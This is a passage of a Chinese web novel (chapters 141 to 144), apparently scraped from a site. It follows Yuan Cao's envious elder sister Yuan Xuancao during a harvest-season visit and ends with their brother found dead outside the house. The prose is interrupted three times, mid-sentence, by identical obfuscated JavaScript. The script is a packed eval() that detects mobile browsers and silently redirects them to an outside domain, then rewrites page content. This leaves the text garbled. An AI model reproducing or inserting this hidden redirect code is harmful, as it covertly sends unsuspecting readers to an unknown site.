辛开元有些惊讶,手上一顿,“真的,可以吗?” “只是让你躺着,别想那么多。”袁竹说道。 “哦,好。”辛开元脱了鞋,上床躺在了袁竹身边,心脏兀自乱跳着,“你不想再成亲,是因为你爹娘的缘故吗?” 袁竹闭上了眼睛,“算是吧。” 辛开元侧过身,看着袁竹的侧脸,“如今你脱离了你爹娘,可以自己做决定了。” 袁竹没有说话,辛开元拿着扇子,继续给袁竹扇着风,“也有你前夫的原因吗?” 袁竹皱起了眉头,“不要再说了,好好歇会儿吧。” 辛开元听话地闭上了嘴,只轻轻摇着扇子,给袁竹带来阵阵凉意。 袁家父母走后,袁竹一直在等着袁萱草的到来,夏天是农闲的时候,她应该有空带着孩子来玩才是,可是左等右等,始终不见她来。 袁家宅子旁的房子和围墙建好之后,姜佑安说想利用剩下的材料和山上的石头,把宅院旁的花田该建成花园,袁竹没有反对,由着她去跟孟广商量花园的布局和置景。 三伏天,书院放了一个月的假,七月玫瑰花开了,三伏还没过完,袁家又忙碌了起来,除了茉莉花,其他花采摘时,都避开了中午和下午最热的时候。 夏日的午后总是格外安静,人都在房间里休息,连鸡和狗都不愿意高声叫唤了,只有树枝上的蝉还在鸣叫不休。 辛开元总是找借口,赖在袁竹房里不走,袁竹也没有赶他,让他在房间里午休,两人一起在床上睡,偶尔辛开元会抱着袁竹,也会试探着亲吻她的脸,袁竹总是一把将他推开。 辛开元察觉到,袁竹好像对在床上的亲近更加抗拒,站在地上亲吻时,他把舌头伸进她嘴里,她也会欣然接受,而在床上时,只是亲一下脸,袁竹都不许。 他想要问明原因,又担心会触碰到袁竹心里的伤口,只好耐心等待着,等到袁竹对她敞开心扉的那天。 八月下旬,玫瑰花期过后,水稻成熟了,农忙时节到了,书院又放了一个月的假,田间地头,到处都是忙碌的人们。 菊花也开了,很多杂交的品种都开得非常好,来购买客人、商人络绎不绝,不仅院子里的盆栽卖去了大半,连菊花田里的鲜花枝也被剪去了不少。 袁竹忙着在家里接待客商,辛开元忙着帮客人搬花盆、剪花枝,进县城卖花的活交给了姜佑安和徐洪愿。 这天下午,袁竹和辛开元在侧门帮客人搬完了花,往大门口走的时候,发现袁萱草正站在大门口向里看。 141. 忮忌 “姐!”袁竹欢快地朝袁萱草跑了过去,伸手想去拉姐姐的手,看到自己手上都是灰,又缩了回去,“姐,你怎么这么久都没来看我?” 袁萱草低垂着眼帘笑了笑,“上次走的时候不是跟你吵架了嘛,让我怎么好意思过来。” “姐,你还记我的仇啊?”袁竹笑着把袁萱草引进了院子里。 大家看到了袁萱草来了,纷纷跟她打招呼,“这不是袁家姐姐吗?”“袁姐姐来了!”“你可有日子没来了。” 袁萱草微笑着一一应答,说前些日子家里事多,抽不开身,家里粮食收完了,才终于得空过来。 大家都围过来,簇拥着姐妹俩进了堂屋,拉着她坐下,倒了茶水给她。 “袁家姐姐,怎么没带小宝一起来?”钟二娘问道。 袁萱草把包袱放在桌上,捧起茶杯喝了一口,“小宝现在太闹腾了,我就是想自己过来,还能在这边清静几天。” “那也好,这次一定多住些日子再回去。”石倩说道。 袁萱草笑着点了点头,把桌上的包袱解开,“我看之前带来的芝麻,大家都挺喜欢吃的,这是今年新收的,还拿去给大家包包子吧。” “姐,以后你来我这,就把不用带什么东西了,大老远走过来,还背着包袱,多累。”袁竹说道。 “我来你这白吃白住就算了,还空着手来,那像话吗?”袁萱草笑着让袁竹赶紧把芝麻收起了。 姜白凤从外面跑进来,“袁娘子,有客人来买花了。” “好,我这就去。”袁竹站起身来,“石倩,你把芝麻拿到厨房去吧,姐,你们慢慢聊,我先去接待客人了,一会儿就回来。” 袁萱草点点头,目送袁竹进了院子,辛开元跟在她身后,和她一起出了二门。 钟二娘膝上放着一个小簸箩,手上缝着绢花,“最近可把袁娘子忙坏了。” “忙点儿也开心,越忙越有钱挣不是吗?”石倩笑着说道。 “那倒是,多亏了袁娘子能支得起这个摊子。”陆欢从屋里拿来一盘点心,放在袁萱草身旁的放桌上,“来,袁家姐姐,吃点儿点心。” “最近买花的客人都到家里来了吗?”袁萱草问道。 “对啊,现在袁家的菊花可出名了,前几天还有专门从京城过来买花的,真不知道是从哪里听说的,还能专门找到这里来。”石倩说道。 “还不是袁娘子会种花,不管是盆里的,还是地里的,那菊花一棵棵的,枝叶肥,花开得也好,你看我这头上,就是专门去掐了戴的。”陆欢说道。 石倩看向陆欢的脑袋,一朵红白相间的菊花正盛放在她的发髻之上,“我都忘了说你了,你掐朵红的戴就是了,怎么还掐这种两个颜色的,要是姜院长见了,肯定得说你。” 陆欢不服气,“姜院长才不会呢,这就是她早上剪花的时候掐给我戴的,她说今年这种两色的种得多,掐了戴也不心疼。” “那还行,袁娘子真厉害,这么少见的花,她一下子就能种出这么多来。”石倩说道。 “我听袁娘子说,这都是她去年花开的时候专门留的种。”钟二娘说道。 见袁萱草久久地注视着她头上的菊花,陆欢笑着问道:“袁家姐姐也要戴菊花吗?我带你去掐。” 袁萱草收回了眼神,有些好奇地问道:“不用了,我听你说这花是早上掐的,怎么到现在还这么新鲜?” 陆欢从头上拔下了簪子,起身拿给袁萱草看,“这是姜院长专门定做,让袁娘子拿出去卖的花瓶簪,里面灌点儿水,掐了花插进去,一整天都不会开败。” “估计是看你没有簪花的习惯,袁娘子没有跟你提过。”石倩说道。 袁萱草的手指抚摸着光滑的瓶身,轻声赞叹道:“这东西真好。” 陆欢拿过花瓶簪,走到袁萱草身侧,把簪子插在了她的发髻上,“姐姐先戴我这个吧,等会儿袁娘子回来,我再让她给你拿几支新的。” 袁萱草抬手抚摸着头上的菊花,表情有些害羞,小时候她把邻居家的花簪在头上,被奶奶骂是臭美,从那以后,她就再没有簪过花,现在奶奶已经过世多年,那句臭美的辱骂却仍犹在耳边。 “这花跟袁姐姐真相配。”钟二娘说道。 “对啊,袁家姐姐还穿了一身浅红的衣裳,跟这花太配了。”石倩说道。 “姐姐簪花真好看。”陆欢说道。 袁萱草抬眼看去,众人脸上并无一丝嘲笑挖苦的意味,她高兴地笑了,却又说道:“我都一把年纪了,还带什么花。” 说着就要把花瓶簪取下来,陆欢摁住了袁萱草的手,“姐姐,你就戴着这花吧,我们这里有位邵老师,比你年纪可大多了,她每日里都还簪花戴呢。” “就是,我老了以后,也要戴花,我才不管别人怎么说。”石倩说道。 听着众人的劝说,袁萱草放下了手,“那我就先戴着。” 袁萱草和她们又说了会儿话,还不见袁竹回来,她借口出去走走,出了袁家大门去找袁竹。 门外不远处的大路上,停着一辆马车和一辆板车,板车上装着满满当当的盆栽菊花,袁竹站在菊花旁和客商说了会儿话,客商当着她的面称了银子给她,又客套了几句,便上车离去了。 两匹马拉着两辆车,越走越远,袁竹和辛开元并肩而立,看着客人离开的方向,小声地说着话,袁萱草迈步走了过去。 “今天生意不错啊。”袁萱草笑着说道。 袁竹回过头来,笑容满面,“今年菊花卖得特别好,要不是春天种得多,都要不够卖了。” “你们聊,我去园子里收拾一下。”辛开元向袁萱草点了点头,往园子侧门走去。 “我看你对他也挺好的,你们怎么还不成亲?”袁萱草问道。 “谁说我对他好,我就要跟他成亲了?”袁竹心情很好,只是笑了笑,转身回院子里,“姐,你是不是忘了我们上次因为什么吵架的?” “我可都是为了你好!这么好的男人,你要是不好好把握,以后还上哪儿找去?”袁萱草跟着袁竹进了院门。 袁竹不想继续跟她掰扯,转移了话题,“姐,你头上戴的菊花是谁给你的?” 袁萱草有些害羞地摸了摸耳后的头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14825176|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“是陆欢给我的,我戴着,还行吧?” “很好看,姐,你很适合簪花,这簪子也是她给你的吧,等我去把我的找出来,拿给你戴。”袁竹穿过了庭院,回了自己的房间。 袁萱草跟着走了进去,笑着说道:“这簪子挺好的,她们说这花是早上掐的,你看现在还很新鲜。” “对啊,是挺好的,我们拿出去卖的时候,也很受欢迎。”袁竹去自己梳妆台的抽屉里拿了两支花瓶簪,一直白的,一支绿的,递给了袁萱草,“你以前很少簪花,我还以为你不喜欢呢。” 袁萱草接过簪子,不知道该怎么解释,“我戴花,不太合适。” “有什么合适不合适,自己喜欢就戴呗,谁还能说你什么?就是说了,你也别听。”袁竹无所谓地说道。 袁萱草弯起嘴角笑了笑,“对,不听就是了。” “姐,你先坐,我去厨房打点热水来泡茶。”袁竹说着向外走去。 “我也去。”袁萱草把簪子放在桌上,跟着袁竹去了厨房,打了水又回到了袁竹房间里。 袁竹拿了杯子给袁萱草倒茶水,袁萱草在桌边的椅子上坐了,“你不成亲,在我心里总是个事。你到底为什么不成亲,你跟我说说。” “怎么又扯到这上了?”袁竹不耐烦地坐下,端起茶杯,吹了吹,“好,我给你说实话,我不成亲,是因为我不想跟男人睡,我讨厌跟男人行房事,我害怕生孩子。” 袁竹一股脑地说了出来,倒让袁萱草有些尴尬,她端着茶杯,有些犹豫地说道:“女人不都是这样……” 袁萱草话还没说完,就被袁竹打断了,“我不想这样,你有你的选择,我有我的选择,你觉得成亲生儿子是好事,我觉得自己生活更自在。” “你现在是自在了,可等你老了以后怎么办?”袁萱草问道。 “老了再说老了的事吧,我养了这么多孩子,总有一两个有良心的,能给我口饭吃吧,就算没有,老了也该死了,反正都是要死的,也没什么。”袁竹说道。 “要是没有孩子,你死了之后,没有人给你烧纸,你变成鬼了都会被欺负。”袁萱草说道。 袁竹觉得无所谓,她吹了吹茶杯中的水,沿着杯沿喝了一小口,“我可不是好欺负的,人都死了,就更没什么可怕的了,谁欺负我,我就欺负谁。” “我怎么就跟你说不通呢?你这种想法是不对的,你这么聪明能干,还能挣钱,你再嫁人,你公公婆婆肯定不敢欺负你,大家都会夸你的。”袁萱草着急地说道。 “我不要他们夸,我只要自己过得舒服。”袁竹淡淡地说道。 袁萱草顿时语塞,她为了得到婆婆和老公的认可,在夫家任劳任怨,洗衣做饭,织布缝衣、喂鸡喂狗,生下儿子之后,她没坐月子就马上下地干农活,十里八乡都夸她老公找了个好媳妇,她也特别自豪,她知道妹妹也一样能干,想要妹妹和她一样,得到大家的称赞,而不是背后的议论。 她突然对妹妹生出了羡慕和忌恨,凭什么妹妹可以过这样自在的生活,自己却要那么辛苦的活着,除了周围人的夸赞,她什么都没有得到。 142. 不安 “姐,我知道你是为了我好,但我真的不想成亲,你就别说这个了,你去我床上躺着歇歇,我先去干活了。”袁竹喝了两口茶,起身走了出去。 袁萱草看着袁竹消失在门口,她没有挽留,她自己心里的恨意吓了一跳,妹妹是千辛万苦才有了今天这样的生活,自己怎么能恨她? 她想起了袁竹给她的钱,她把二两银子给了婆婆,婆婆嫌太少,说妹妹住着大宅院,就给这么点儿钱。 她想起家里卖粮食的钱,婆婆分给了老公和小姑子,她去找婆婆要,婆婆只说没有。 她想起夏天时,婆婆让她带着孩子来看看妹妹,只为了再多要些钱,她觉得没有脸面对妹妹,始终没有来。 她想起拎着一包芝麻,站在袁家门口时,她的局促和不安,她明明是来看自己的亲妹妹的,为什么心里却觉得自己像个要饭的? 她不该来的,在自己家还更自在些。 袁萱草放下杯子,站起身走出了房间。 “这不是袁姐姐吗?你可算来了,袁竹这一夏天,也不知道念叨了你多少回了。”正巧姜佑安从院子里走进来,向袁萱草说道。 “袁竹她念叨我了?”袁萱草有些茫然地问道。 “对啊,她说家里就你对她最好,你嫁人之后,她就很少见你了,本来以为夏天农闲,你能带着孩子过来住几天,没想到一直到秋天才来。”姜佑安笑着说道。 陆欢走了过来,“夏天热,走远路确实不方便,现在天凉快了,袁姐姐家里粮食也收完了,过来住正合适。” “袁姐姐可要多住几天再走,千万别客气。”姜佑安说道。 袁萱草不好意说自己要走,只好答应道:“哦,好,我肯定多住几天。” 徐洪愿从院子里跑进来,怀里抱着一捧菊花,生气地向姜佑安说道:“刚才那人真是烦死我了,给他剪了这么多花,他就买了三枝走,我就感觉他要不了多少,他还非要我多剪些!” “没事,这样的人我昨天也遇到了,别生气了,你就当是剪回来插瓶的。”姜佑安安慰道。 徐洪愿无奈地叹了口气,“行吧,插起来,咱们自己看。” “花瓶在袁娘子屋里吧,我去打了水来插上。”陆欢说道。 “我去拿吧。”袁萱草转身去了屋里。 徐洪愿这才注意到袁萱草来了,她兴奋地跟着袁萱草进了屋,“袁家姐姐,你可来了!袁竹看你老也不来,都想去你家看你了。” 袁萱草没想到妹妹原来这么惦记自己,她把桌上的花瓶拿了出来,笑着说道:“我这不是来了嘛。” 陆欢接过花瓶,去厨房打水了,徐洪愿把花放在了堂屋的方桌上,返身回到袁萱草身边,“最近袁竹特别忙,袁姐姐你有什么事,跟我们说就是了。” “我能有什么事,不过是过来白吃白喝罢了,你们忙你们的,不用管我。”袁萱草半开玩笑地说道。 “袁竹一直念着你对她的好,说小时候都是你照顾她,现在你来了,正好让她有机会照顾照顾你,她巴不得你住下来不走了,说白吃白喝,可就太见外了。”徐洪愿说道。 袁萱草淡淡一笑,“我在家里干活干习惯了,在这里,你们什么都不让我干,我还真是闲得难受。” “袁姐姐嫌太闲了?”徐洪愿高兴地提议道:“那你明天跟我一起去县里卖花怎么样?” “好啊,我跟你一起去。”袁萱草也高兴地答应道。 姜佑安和陆欢一起把菊花插进了花瓶里,向徐洪愿问道:“徐娘子,袁姐姐跟你一起,就不用我去了吧。” “不用你了,你去跟戴老师亲热去吧。”徐洪愿说道。 “亲热什么啊?戴老师今天回家去了,也不知道哪天回来,我都想搬回来住了。”姜佑安走到徐洪愿身边抱怨道。 “姜院长,你怎么不跟戴老师一起回去?”袁萱草问道。 “我不喜欢他爹,他爹也不喜欢我,我才不去他家,免得跟他爹吵架。”姜佑安说道。 袁萱草听了,难免感到惊异,“你常跟你公公吵架吗?” 姜佑安哈哈一笑,解释道:“我跟戴老师没有成亲,他爹是他爹,不是我公公。” “你们不是住在一起吗?怎么还没有成亲?”袁萱草不能理解。 姜佑安冲袁萱草眨了眨眼,“只是找个男人暖床而已,用不着成亲。” 徐洪愿轻拍了一下姜佑安的胳膊,“别仗着没有孩子在,就在这里乱说话,小心袁竹跟你生气。” “怕什么?你们都是成过亲的人,找男人是为了什么,你们还不清楚吗?”姜佑安无所谓地说道。 徐洪愿笑了笑,“我还在真不清楚,你说说是为了什么?” 姜佑安也笑了,“那当然是为了睡觉的时候有人抱啊。” 徐洪愿向门外扬了扬下巴,笑着说道:“抱你的人回来了,快去吧。” 姜佑安回头向外看,见戴庭芳正红着脸站在门外,她跑出去,一下子扑到戴庭芳的怀里,仰头说道:“不是说今天不回来了吗?” 戴庭芳见屋里的人都看过来,轻轻推开姜佑安,拉着她的手,转身向外走去,“我怕我要是不回来,你就该找别的男人抱你了。” 夕阳洒在院子里,姜佑安牵着他的手,看着他红红的脸颊,嘿嘿笑着,“戴老师对我就这么不放心啊。” 见两人携手出了二门,袁萱草回过头来,小心翼翼地对徐洪愿说道:“姜院长和戴老师没成亲就住在一起,这样不太好吧。” 徐洪愿拉着袁萱草去椅子上坐了,“说了她也不会听的,咱们不管她的事,袁姐姐,你卖过花吗?” 袁萱草没有卖过花,她只卖过自己织的粗布,徐洪愿向她讲解着,她一边点头,一边默默记下。 第二天一早,天还没亮,徐洪愿就去敲开了耳房的门,袁萱草穿好衣服,梳好头,两人一起去了花田剪菊花,把昨天准备好的几盆菊花搬上了车,吃过早饭,就一起推着车出门了。 中午前,两个人又有说有笑地回到了袁家,把车放在门房旁,徐洪愿去了袁竹屋里数钱记账,记完账,又专门拿出一串钱来,递给袁萱草,“袁姐姐,这是你今天的工钱,你收好了。” 袁萱草没有去接,“我是来帮我妹妹的忙的,不用给钱。” 徐洪愿把账本收好,钱袋子放好,把钱塞到袁萱草手里,“这本来是姜院长的工钱,你今天顶了她的工,就应该你拿这个钱,一共是一百文,你数数,不够我再补给你。” “够了,肯定够。”袁萱草握着那一串钱,心中还是有些不安,“你自己怎么没有?” “我的工钱是按月开的,姜院长是看袁竹忙不过来,临时来帮忙的,所以给她按天开。”徐洪愿笑着解释道。 “哦,是这样。”袁萱草手里拿着钱,感觉沉甸甸的,不知道往哪里放好,正想着拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832767|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到耳房去,就见袁竹和辛开元走进了房间。 “姐,你们回来了。”袁竹笑着跟她打着招呼,去脸盆架盘洗了手,拿起手巾擦了擦,随手把手巾递给了身旁刚洗完手的辛开元。 “回来了。”袁萱草笑得有些尴尬,袁竹肯定看到她手拿着钱了,这钱是她挣的,不是她讨来的。 “今天生意怎么样?”袁竹向徐洪愿问道。 “挺好的,明天重阳节,估计还能卖出去不少,袁姐姐,你明天还去吗?”徐洪愿笑着问道。 袁萱草握紧了手里的钱,抬起头来,“去!” “好,等下午咱们一块去挑几盆好看的菊花,明天卖。”徐洪愿说着,向袁竹打了声招呼,出门去了。 “你们坐,我去泡茶。”辛开元拎着茶壶出去了。 “我不喝茶了,我想回屋歇会儿。”袁萱草说道。 “走了一上午,肯定累坏了吧,要不你就在我这里躺会儿?”袁竹说道。 “不了,我回屋去。”袁萱草说着,转身快步走出袁竹的房间,出了堂屋,往右拐,推开了耳房的门。 晚上袁竹去找袁萱草,说要她去自己的房间,两个人一起睡,说说话,袁萱草说明天要早起,不想打扰妹妹睡觉,就拒绝了。 袁竹走后,袁萱草久久不能入睡,她知道自己让妹妹失望了,不过,她现在越来越难面对妹妹的脸了,她怕自己一不小心就会对妹妹说出过分的话,做出过分的事。 重阳节卖花回来,袁萱草看到院子里摆了很多菊花,大家头上都插着菊花,腰间带着茱萸香囊,她一进了堂屋,陆欢就拿了重阳糕来给她,屋里主位上还坐着一个她不认识的老人。 “这位就是袁娘子的姐姐吧,跟袁娘子真是一个模子里刻出来的一样。”徐燕笑着说道。 “这是附近村子的徐奶奶,是姜院长接过来跟我们一块过节的。”陆欢介绍道。 “徐奶奶好。”袁萱草向徐燕点头微笑。 徐燕慢慢走到袁萱草面前,亲切地拉着她的手,“听说你生了个儿子,真是好福气啊。” 自前天来到袁家起,这句话是她听的最舒心的一句话,袁萱草高兴地笑了,“男孩子,淘气得很,哪有什么福气啊。” “小孩子嘛,哪有不淘气的,长大了就好了。”徐燕笑着说道,其他人也跟着附和。 袁萱草红光满面地同她们说着话,一瞥眼,看到周帛在院子里跟人说话,她丢下屋里的人,转身走了出去。 “周姑娘,书院不是放假吗?你怎么来了?”袁萱草热情地跟她打着招呼。 周帛惊喜地回过头来,“袁姐姐,你也在啊!今天重阳,我是来看邵老师的。” “你还记得我呢。”袁萱草高兴地说道。 “之前姐姐给我出过主意,解决了我的心病,我哪能不记得。”周帛笑着说道。 “有日子没见,你现在已经成亲了吧。”袁萱草说道。 “没有,我跟我爹娘商量好了,先不成亲。”周帛说道。 “怎么又不成亲了?”袁萱草着急地劝道:“王公子那么好的男人,错过可就不好找了。” 周帛明亮的眼睛里闪着希望的光,“姜院长说我还年轻,不用那么着急成亲,我决定以姜院长和袁娘子为榜样,做出一番事业来。” 她的人生经验在周帛面前不起作用了,袁萱草感觉自己心里好像有什么东西在轰然崩塌。 143. 恨意 袁萱草抬起头,看到袁竹正跟姜佑安一起赏菊花,她的笑脸映着菊花鲜亮的色彩,笑得那么开心,那么自在。 “袁姐姐,你怎么了?”周帛问道。 “我没事,你们聊。”袁萱草转过身,往堂屋走去,她要跟徐奶奶说说话,她要听徐奶奶的夸奖,她要知道,自己是生了儿子的有福气的女人。 “萱草,来,过来坐。”徐燕看到袁萱草走了进来,招手让她过去。 袁萱草在徐燕身边坐了,“徐奶奶,你也生了儿子吗?” 徐燕笑了笑,“对啊,我也生了儿子。” “那你也是有福气的女人。”袁萱草说道。 徐燕的神情变得难过起来,“我的儿子不是我的福气,遇到了郭娘子、姜娘子和袁娘子才是我的福气。” 陆欢走过去,拍了拍袁萱草的肩膀,示意她不要再继续说下去了,但袁萱草没有听从,她迫切需要徐燕的安慰,“你不是说我生了儿子,是有福气的人吗?” “你是有福气的人,你妹妹对你好,日后你儿子肯定也会有出息,我没有福气,我儿子是个烂人。”徐燕叹了口气,脸上又换上了微笑,“算了,不说他了,萱草啊,趁着还年轻,你该再生个女儿才是,儿女双全就更是有福气了。” “再生个女儿?”都已经有儿子了,还要再生一个吗?袁萱草不太愿意,她还记得怀孕的辛苦和生产的痛苦,她不想再体验一次了。 “女孩多可爱啊,你老公不想再要个女孩吗?”徐燕笑着问道。 袁萱草尴尬地笑了笑,“我们还在考虑。” “这有什么好考虑的,孩子肯定是越多越好,我当年就是身体不好,生了一个,就再没有怀上,现在都没人可以指望了,只要袁家这些好心的孩子会去看我。”徐燕说道。 袁萱草听了,沉默不语,她想听的不是这些,她站起身来,回到了耳房里。 耳房的窗户在开着,透过窗户,袁萱草看到袁竹在院子里坐着晒太阳,自己有多久没有像她这样悠闲地晒太阳了? 袁萱草总是从早忙到晚,照顾孩子也好,洗衣做饭也好,她从没让丈夫插过手,她知道自己是个外人,她要证明自己能干,证明自己对夫家有用,证明丈夫没有娶错人。 她在院子里晒太阳的时候,手里总得做些针线活,要不,她怕婆婆说她在偷懒。 她从不想夫家要求什么,她任劳任怨,事事忍让体谅,可婆婆连一个铜板都不想给她,丈夫也从不向着她说话。 她看到桌上的花瓶簪,想起以前在大集上看到的一个簪子,也是花瓶的造型,里面还有漂亮的小石头组成的花,她很喜欢,犹豫了很久,她连价钱都没问就走了。 她在家明明干了很多活,却一点儿钱都拿不到,在妹妹这里,干一天活就有一百文钱。 为什么会这样?袁萱草觉得内心痛苦极了,她不知道自己为什么会觉得痛苦,自己的母亲,村里所有的女人,不都是这样的吗?看到她们,袁萱草就会觉得很安心,但一看到妹妹,就会让她觉得痛苦。 也许是妹妹让她痛苦,可是妹妹待她那样好,每次自己来都送这送那的,自己应该感谢她才是,怎么会是她让自己觉得痛苦呢? 是周帛让她觉得痛苦吗?周帛说不想这么早成亲,想要像姜佑安和袁竹那样做一番事业,这当然是很好的事,但也不是说结婚生子就是不好的事。 她是十里八乡都会夸的好媳妇,她丈夫不会打人,她婆婆也很少骂她,她还生了儿子,她走在所有女人都羡慕的路上,她为什么会突然觉得这么痛苦? 所有女人都羡慕吗?不是的,袁竹不羡慕,姜院长不羡慕,周帛也不羡慕,她们不想走这条路了,她们走上了别的路,她们要自己挣钱自己花,她们不要别人夸,也不在乎别人骂,她们只要自己活得开心自在。 袁萱草突然想明白了,她的痛苦,是因为她在羡慕她们,羡慕她们能挣钱,羡慕她们不用嫁人,羡慕她们可以自在地说话和做事。 为什么她不可以?为什么她要活得这么憋屈? 袁萱草心中产生了恨意,恨她们过得好,自己却这么痛苦,她们有钱,有时间,有自由,而自己,除了儿子,一无所有。 她觉得在屋子里闷的难受,推开门,袁萱草往院门走去。 “姐,你去哪儿?等会儿就吃饭了。”袁竹在她身后问道。 “我去外面走走,一会儿就回来。”袁萱草没有回头,走出了二门。 外面阳光很好,袁萱草却觉得身上阵阵发冷,院子里的热闹和院子外的冷清,如同两个世界一般,互不相容。 袁萱草在院子外来回踱步,这里不能继续待下去了,看到她们的笑脸,听到她们的笑声,她就觉得痛苦,她要赶紧回家,回到自己熟悉的环境里,抱一抱她儿子。 踢开脚边的一颗石子,袁萱草下定了决定,等吃完午饭,她就去跟袁竹说,她要回家去了,再也不来了。 一辆马车停在大路上,袁萱草转头看过去,见她爹从车上跳了下来。 袁德看到袁萱草,有些惊讶,“萱草?你怎么在这里?” 袁德身后,项三娘和袁贵生接连从马车里走了出来。 项三娘看到袁萱草,高兴地笑了,“今天咱们一家可算是团聚了。” 袁萱草迎了过去,心情很复杂,“爹,娘,你们怎么也来了?” 袁贵生脸上带着不屑的神情,“你可以来,我们怎么就不可以来?” 项三娘打了一下袁贵生的胳膊,训斥道:“今天不是都商量好了吗?说话客气点儿!” “你说要我对我妹客气点儿,又没说对我姐客气点儿,她又拿不出钱来,对她客气什么。”袁贵生说道。 “娘,上次你去找我,不是说不认袁竹了吗?怎么又过来找她?”袁萱草说道。 袁德冷哼一声,“她是我们俩养大的,她说不认就不认了?想得美!你去叫她出来,我们有话跟她说。” 项三娘扯了扯袁德的袖子,眉头紧皱,“她爹,客气点儿!袁竹是吃软不吃硬,我们好好求求她就行了,你千万别跟她吵。” “你们来求她什么?”袁萱草问道。 “还能是什么?你弟娶媳妇的事,你就给三两银子,够干什么?”袁德说道。 “爹,我家穷成那样,你又不是不知道,那三两银子,还是我袁竹春天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840833|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时候给我的,我一直没舍得花,听说你们闹出人命来了,我才把钱给我娘的,你要是嫌少,就还给我。”袁萱草说道。 袁德生起气来,声音提高了几分,“给你爹娘的钱,你还想往回要?” 项三娘赶忙拉住他,“别生气,别发火,咱们都好好说。” 安抚住袁德,项三娘拉住了袁萱草的手,“儿啊,我知道是委屈你了,我们也是没有办法,把你的一点儿私房钱都给了我们,这还不都是为了你弟,你帮帮忙,去袁竹叫出来,娘跟她说几句话。” “娘,袁竹不恨你,她跟我说,她一直想把你接来住,你有什么话,跟我进去说吧。”袁萱草说道。 “不用进去,你去把袁竹叫出来就行。”袁德赶忙说道。 院子里的菊花和院子外的亲人,当真是两个世界,里面是幸福的,外面是冰冷的,袁萱草犹豫了一会儿,还是进去叫袁竹了。 这个世界就是冰冷的,没有那么多幸福,凭什么只有她独自痛苦,大家该一起感受痛苦才是。 袁萱草踏进二门时,钟二娘迎面走了过来,“袁家姐姐,你在外面看见明珠没?” “没有。”袁萱草没多做理会,径直朝袁竹走去,“袁竹,你过来,我跟你说几句话。” 袁竹主动挽住了袁萱草的胳膊,笑着问道:“姐,你要说什么啊?” 袁萱草顺势拐着她往外走,“你先跟我出来。” “袁竹,袁姐姐,马上就吃饭了,别多耽搁。”姜佑安提醒道。 “好,知道。”袁竹欢快地应了一声,跟袁萱草出去了。 “明珠这孩子,都要吃饭了,也不知道哪儿去了。”钟二娘抱怨道。 阮荷从厨房里走出来,“明珠爱清静,可能去园子里玩了吧。” “我去园子里找找,这孩子,去哪儿了也不跟我说一声。”钟二娘说着,往后院走去。 姜佑安轻轻一笑,“她说得好像明珠会说话似的。” 春花在菊花丛中探出头来,“明珠本来就会说话。” “是吗?”姜佑安蹲下身子,菊花清新的香气扑鼻而来,“她跟你说什么了?” “她说她最喜欢钟二娘。”春花笑着说道。 姜佑安点了点头,“确实如此,这我也能看得出来。” “不一样,你是看出来的,我是亲耳听到的。”春花指正道。 “袁娘子呢?”石倩从厨房里走出来问道。 姜佑安站起身来,“袁竹出去跟她姐说话了,你找她什么事?” “今天人多,我问问是在院子里吃,还是在堂屋里吃。”石倩说道。 “今天太阳暖和,就在院子吃吧。”姜佑安招呼着众人过来,“来,大家把菊花都挪到边上,咱们把饭桌支起来。” 大家听了,搬菊花的搬菊花,搬桌子的搬桌子,搬椅子的搬椅子,院子里一时热闹极了。 “孩子们真厉害,一会奖励你们红烧肉吃!”姜佑安夸奖道。 这边桌子刚摆好,大家正在往桌子上端菜,戴庭芳突然冲了进来,拉着姜佑安就往外跑,他压低了声音,却难掩慌张,“姜院长,外面死人了,你快去看看!” 144. 变故 姜佑安听了,忙跟着戴庭芳往外跑,又想起了什么,停在二门前,回头看着院子里的众人,找到了阮荷的身影,她扬声道:“阮荷!把二门关上,一会儿我过来敲门再打开。” 阮荷赶忙跑过来,“出什么事了吗?” 姜佑安笑了笑,“没什么大事,饭好了你们先吃,不用等我们,等事情处理好了,我们就回来。” “好,知道了。”阮荷看着姜佑安和戴庭芳消失在门口,她察觉到外面发生了什么不能直说的事,不过,有姜佑安和袁竹在,肯定能处理好一切,她把在二门外玩的两个孩子叫了进去,关上了门。 姜佑安走出院门,看到一个陌生男人倒在地上,一把沾血的柴刀扔在他身边,项三娘跪在男人身边泣不成声,不远处袁竹和袁德分站两边,杨恩和李长风拉着袁德的两只胳膊,辛开元护在袁竹的身前,袁萱草呆立在一旁,好像吓傻了一般。 姜佑安走过去,探了探男人的鼻息,已经一丝气息也没有了,她起身看向袁竹,“这人是谁啊?为什么会死在咱们家门口?” 袁竹也有些发懵,她轻声答道:“他是我哥,袁贵生。” 